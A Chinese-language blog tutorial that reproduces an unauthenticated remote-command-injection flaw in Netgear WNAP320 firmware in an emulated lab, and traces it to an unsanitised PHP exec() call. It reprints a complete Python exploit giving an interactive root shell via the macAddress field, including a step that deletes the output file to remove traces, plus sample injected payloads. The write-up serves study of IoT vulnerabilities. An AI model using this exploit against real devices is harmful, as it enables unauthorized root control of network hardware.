[零基礎學IoT Pwn] 復現Netgear WNAP320 RCE

VxerLee暱稱已被使用發表於2022-07-01

[零基礎學IoT Pwn] 復現Netgear WNAP320 RCE

0x00 前言:

這是[零基礎學IoT Pwn]的第二篇,上篇我們搭好了模擬環境後,模擬執行了Netgear WNAP320韌體,所以這次就直接進行實戰,在實戰中進行零基礎的學習哈哈哈。

0x01 Bug搜尋:

搜尋bug的方式有很多,比如線上網站https://www.exploit-db.com/,或者直接百度搜對應的路由器型號,我這邊用的是searchsploit進行搜尋。

可以看到有要給匹配的bug macAddress遠端程式碼執行,並且還有對應的POC。

image-20220630161936228

0x02 POC分析:

poc如下:

# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3

import requests
import sys

if(len(sys.argv) != 2):
        print('Must specify the IP parameter')
        print("eg: python3 wnap320_v2_0_3.py <IP>")
        sys.exit(0)

host = sys.argv[1]
port = 80

cmd = ''

while(True):
        cmd = input('Shell_CMD$ ')
        #injecting system command part writing the command output to a output file
        data = {
                'macAddress' : '112233445566;' + cmd + ' > ./output #',
                'reginfo' : '0',
                'writeData' : 'Submit'
        }

        url = 'http://' + host + '/boardDataWW.php'
        response = requests.post(url, data=data)

        if(response.ok):
                #read the command output result
                url = 'http://' + host + '/output'
                cmdOutput = requests.get(url)
                print(cmdOutput.text)

                #remove trace
                cmd = 'rm ./output'
                data = {
                        'macAddress' : '112233445566;' + cmd + ' #',
                        'reginfo' : '0',
                        'writeData' : 'Submit'
                }
                url = 'http://' + host + '/boardDataWW.php'
                response = requests.post(url, data=data)
        else:
                print('[!] No response from the server.')

執行結果如下:(可以成功獲取到shell並且是root許可權的)

image-20220630163225356

接下來詳細的分析下這個POC。

程式碼分析

首先看到這一段,這裡利用input接受使用者輸入的命令,然後這個data是一個json資料,正常的話應該是macAddress:MAC地址reginfo:0writeData:submit,但是由於他存在命令注入的漏洞,所以我們可以把命令注入到macAddress的值當中造成任意命令執行。

cmd = input('Shell_CMD$ ')
#injecting system command part writing the command output to a output file
data = {
    'macAddress' : '112233445566;' + cmd + ' > ./output #',
    'reginfo' : '0',
    'writeData' : 'Submit'
}
{
    'macAddress': '112233445566;whoami > ./output #', 
    'reginfo'   : '0', 
    'writeData' : 'Submit'
}//"利用分號拼接上命令並且重定向輸出到 output檔案中"

接下來分析這個片段,可以看到漏洞出現在http://192.168.0.100/boardDataWW.php這個頁面,python裡面用post將資料包傳送過去,然後接著在去請求用命令列輸出的output檔案(命令列會顯),最後再次呼叫漏洞刪除output這個回顯文字,完成一次遠端程式碼執行。

url = 'http://' + host + '/boardDataWW.php'
response = requests.post(url, data=data)

if(response.ok):
    #read the command output result
    url = 'http://' + host + '/output'
    cmdOutput = requests.get(url)
    print(cmdOutput.text)

    #remove trace
    cmd = 'rm ./output'
    data = {
        'macAddress' : '112233445566;' + cmd + ' #',
        'reginfo' : '0',
        'writeData' : 'Submit'
    }
    url = 'http://' + host + '/boardDataWW.php'
    response = requests.post(url, data=data)
    else:
        print('[!] No response from the server.')  

0x03 手動復現學習:

在沒有登陸路由器的情況可以直接訪問http://192.168.0.100/boardDataWW.php,所以導致這款路由器可以未授權RCE。

image-20220630175015031

image-20220630175317543

這裡隨便填個資料,然後用burp抓個包看看。

這裡Web前端有檢測Mac地址的格式,格式應為:112233445566。

image-20220630175431678

資料包格式如下:

image-20220630175827118

手動測試下命令執行的bug。

image-20220630182024684

image-20220630182140449

0x04 漏洞原理:

首先我們在韌體包裡面獲取到boardDataWW.php檔案,然後對其原始碼進行分析。

首先是在php檔案裡面的html程式碼,這裡是一個表單,有一個文字框macAddress,內容有使用者輸入。當我們點選submit提交按鈕的時候,會響應checkMAC函式。

<body align="center">
    <form name="hiddenForm" action="boardDataWW.php" method="post" align="center">
        
        
        <td width="70%">
            <input type="text" id="macAddress" name="macAddress" label="MAC Address" value="<?php echo $_REQUEST['macAddress'] ?>" onasdf="checkMAC(this.value);">&nbsp;
            <small>* Format: xxxxxxxxxxxx (x = Hex String)</small>
        </td>
        
        <td width="30%" class="right">
            <input type="submit" name="writeData" value="Submit" onclick="checkMAC(event, document.getElementById('macAddress').value);">
        </td>
        <td width="70%"><input type="reset" name="reset" value="Reset Form"></td>
    </form>
</body>


checkMAC函式的主要功能是判斷使用者輸入的MAC地址格式是否正確,包括12個字元並且是數字和字母的字元。

<html>
	<head>
		<title>Netgear</title>
		<script type="text/javascript">
			<!--
				function checkMAC(eventobj,mac) {
					if (!(/^[0-9A-Fa-f]{12,12}$/.test(mac))) {
                        .....
                    }
		</script>
	</head>

</html>

然後提交表單後會執行這段php的程式碼,他先是進行了資料包裡面的判斷,判斷writeDatad的資料是否為空,如果不為空則繼續判斷mac地址資料是否為空並且判斷reginfo的資料是否為空,然後這裡又判斷了一次mac地址的格式是否正確,如果這些條件都正確後進入分支執行接下來的程式碼。

接著出現了造成漏洞的程式碼,在php裡呼叫了exec函式

<?php
	$flag=false;
	$msg='';
	if (!empty($_REQUEST['writeData'])) {
        //進行mac地址輸入格式的判斷,比如格式滿足[0-9a-fA-F]字串。
		if (!empty($_REQUEST['macAddress']) && array_search($_REQUEST['reginfo'],Array('WW'=>'0','NA'=>'1'))!==false && ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)!==false) 
        {	
            //這裡因為直接把macAddress與命令進行了拼接,所以導致了存在命令注入的漏洞!
            exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);
			if ($res==0) {
				conf_set_buffer("system:basicSettings:apName netgear".substr($_REQUEST['macAddress'], -6)."\n");
				conf_save();
				$msg = 'Update Success!';
				$flag = true;
			}
		} 
		else
			$flag = true;
	}

?>

image-20220701135532169

然後呼叫exec執行"wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],這裡可以看到他拼接了使用者輸入的內容並且當成命令執行,這就會出現命令注入漏洞

wr_mfg_data是一個改變MAC地址的程式。

image-20220701140248491

而當我們注入MAC地址的時候,我們再用;分號來新增一個額外執行的命令,那兩條命令都會被執行。

image-20220701140516492

0x05 PWN菜雞小分隊

歡迎來群裡討論PWN技巧、RE逆向。

image-20220701140640193

相關文章